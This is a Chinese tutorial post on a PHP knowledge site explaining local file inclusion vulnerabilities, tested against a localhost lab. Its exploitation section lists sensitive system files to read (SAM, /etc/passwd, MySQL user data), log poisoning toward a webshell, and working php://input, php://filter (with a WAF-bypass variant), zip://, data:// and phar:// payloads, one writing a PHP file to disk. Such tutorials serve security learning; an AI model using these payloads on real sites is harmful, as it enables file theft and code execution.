IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 本地文件包含详解 -> 正文阅读

[PHP知识库]本地文件包含详解

文件包含的概念
把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,无需再次编写函数。这一调用文件的过程被称为包含。
文件包含的原理
文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
文件包含分类
文件包含分为本地文件包含和远程文件包含,而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_ url_ include. 如果开启就有可能包含远程文件。远程文件包含需要php.ini中allow_ ur_ include=on, allow_ ur_ fopen = On。在php.ini中,allow_ url_ fopen默认一直是On,而allow_ url_ include从php5.2之后就默认为Off。
文件包含函数
1, include():找不到被包含文件时会产生警告(E_ WARNING) ;
2,include_ once(): 与include () 类似,代码已经被包含则不会再次包含
3,require():找不到被包含的文件时会产生致命错误(E_ COMPILE ERROR)
4,require_ once():与require ()类似,代码已经被包含则不会再次包含
本地文件包含
1,include.php源码
在这里插入图片描述
2, 在同一路径下创建print.php文件<?php echo "hello world!!!"; ?>打印hello world!!, 在浏览器下进行访问此文件,发现文件成功执行
在这里插入图片描述3, 分别修改phpinfo.txt扩展名为: jpg、rar、xxx发现均可解析,只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。(此处只以.txt举例)

在这里插入图片描述4, 此外include.php文件还可以通过目录遍历来执行文件,在include.php的上一目录写一个2.php

<?php echo "666";?>打印666,通过浏览器进行访问

在这里插入图片描述文件包含漏洞利用
1,读取Windows系统敏感信息:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IS配置文件
C:\windows\repair\sam //windows初次安装的密码
C:\program Files\mysq|\my.ini //Mysq|配置信息
C:\program Files\mysq|\data\mysq|\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
2,读取linux系统敏感信息:
/etc/passwd //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysq|配置文件
3,文件包含可以配合图片马进行shell获取
包含Apache日志文件
把Apache中conf下的httpd.conf中的CustomLog这行注释去掉,重启Apache。
在这里插入图片描述

重新发起请求发现被编码了
在这里插入图片描述启动bp进行该包
在这里插入图片描述在这里插入图片描述
使用php封装伪协议
php流input
利用php中流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
读取文件(allow_ url. include和allow_ ur_ fopen都不做要求)
127.0.0.1/csh/include.php/?page=php://input

<?php fputs(fopen("1116.php","w"),"<?php phpinfo();?>");?> 将1116.php写入当前路径下内容为<?php phpinfo();?>

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
php流filter

读取文件(allow_ url. include和allow_ ur_ fopen都不做要求)
?page= php://filter/read=convert.base64-encode/resource=index.php
通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
在这里插入图片描述其他姿势
?page= php://filter/convert.base64-encode/resource=index.php
效果跟前面一样,少了read等关键字,在绕过一些waf时也有用。
zip://
http://127.0.0.1/csh/include.php/?page=zip://D:\phpstudy_pro\WWW\123.com\text.zip%23text.txt
先将要执行的PHP代码写好文件名为test.txt,将test.txt进 行zip压缩,压缩文件名为test.zip,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再
data://
命令执行(php版本大于等于5.2, allow_ url include和allow_ url fopen都为on的状态)http://127.0.0.1/csh/include.php/?page=data://text/plain, <?php phpinfo();?>
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= (将<?php phpinfo();?>转换为了base64编码)
phar://
假如有个文件test.txt,打包成zip压缩包,指定绝对路径(或者使用相对路径)
?page= phar://C:/Users/40454/Desktop/test.zip/test.txt或
?page= phar://C:/Users/40454/Desktop/test.jpg/test.txt

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-03 15:48:22  更:2022-03-03 15:48:37 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 16:37:36-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计